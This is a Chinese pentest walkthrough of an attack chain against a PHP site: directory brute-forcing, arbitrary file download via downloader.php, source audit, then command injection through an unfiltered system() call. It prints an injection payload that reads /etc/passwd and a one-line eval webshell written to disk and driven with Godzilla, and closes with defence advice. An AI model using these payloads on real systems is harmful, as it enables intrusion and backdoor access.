记一次从目录爆破到命令注入的过程
字数 1587 2025-08-11 17:39:49
从目录爆破到命令注入的渗透测试实战教学
1. 信息收集阶段
1.1 初始资产发现
- 通过FOFA搜索引擎发现目标资产
- 确认资产归属厂商信息
- 初步判断目标系统为PHP站点
1.2 端口与服务扫描
- 使用常规扫描工具(Nmap等)检查开放端口
- 分析运行的服务类型
- 未发现明显可利用点
1.3 Wappalyzer分析
- 使用Wappalyzer浏览器插件识别技术栈
- 确认网站使用PHP开发
- 获取服务器可能的技术框架信息
2. 目录爆破阶段
2.1 字典构建
- 根据资产和厂商信息构建定制化字典
- 包含常见PHP文件名和路径
- 考虑Ubuntu系统特性(因后续发现系统为Ubuntu)
2.2 工具选择与使用
- 选用dirsearch工具进行目录扫描
- 配置适当的线程数和超时设置
- 发现可疑路径
/downloader.php
3. 任意文件下载漏洞利用
3.1 参数模糊测试
- 发现
downloader.php需要参数才能正常访问 - 使用Burp Suite拦截请求
- 发送到Intruder模块进行参数fuzz测试
3.2 测试字典选择
- 针对可能的文件读取功能构建测试用例
- 包含常见参数名(file, path, filename等)
- 结合Ubuntu系统特性尝试
/etc/passwd读取
3.3 漏洞确认
- 成功读取系统文件证明漏洞存在
- 下载
downloader.php自身进行代码审计
4. 代码审计与深入分析
4.1 源代码分析重点
- 查找文件读取功能的实现逻辑
- 确认参数过滤情况(本例中无过滤)
- 搜索危险函数调用(system, exec等)
4.2 system函数审计
-
第一处system函数:
- 参数来自内部配置文件
- 经过
escapeshellcmd过滤 - 外部不可控
-
第二处system函数:
- 初步判断不可利用
- 快速略过继续审计其他点
-
第三处system函数:
- 位于文件后缀判断分支(.zip处理)
$cmd参数存在拼接操作- 无任何过滤措施
$site参数外部可控
5. 命令注入漏洞利用
5.1 漏洞触发条件
- 文件后缀必须为
.zip $site参数需要包含恶意命令
5.2 注入Payload构造
- 使用分号
;分隔命令 - 基本格式:
?file=.zip&site=;要执行的命令; - 示例:
?file=.zip&site=;cat /etc/passwd;
5.3 漏洞验证
- 直接通过URL构造恶意请求
- 观察系统命令执行结果
- 确认命令注入成功
6. 后渗透阶段
6.1 Webshell写入
- 通过命令注入写入PHP后门
- 命令示例:
echo '<?eval($_POST["pass"]);?>' > test.php - 确认文件写入成功
6.2 哥斯拉连接
- 使用哥斯拉(Godzilla)管理工具
- 配置连接参数
- 测试后门连接功能
7. 技术要点总结
7.1 关键漏洞链
- 目录爆破发现敏感端点
- 任意文件下载获取源代码
- 代码审计发现命令注入点
- 通过命令注入获取Webshell
7.2 重要技术点
- 定制化字典构建技巧
- 参数模糊测试方法论
- PHP危险函数审计要点
- 命令注入绕过技术
- 后渗透基本操作流程
7.3 防御建议
- 对用户输入进行严格过滤
- 避免使用system等危险函数
- 禁用不必要的PHP危险函数
- 实施最小权限原则
- 定期进行代码安全审计
8. 渗透测试方法论
- 信息收集是基础:全面收集目标信息,为后续测试提供方向
- 自动化与手工结合:工具快速发现可能点,手工深入验证
- 漏洞链思维:一个漏洞往往是另一个漏洞的入口
- 持续深入:每个发现都可能通向更深层次的系统访问
- 文档记录:详细记录每个步骤和发现,便于回溯和分析
本教学文档完整呈现了从目录爆破到命令注入的完整渗透流程,重点突出了各阶段的技术要点和操作方法,可作为类似渗透测试场景的参考指南。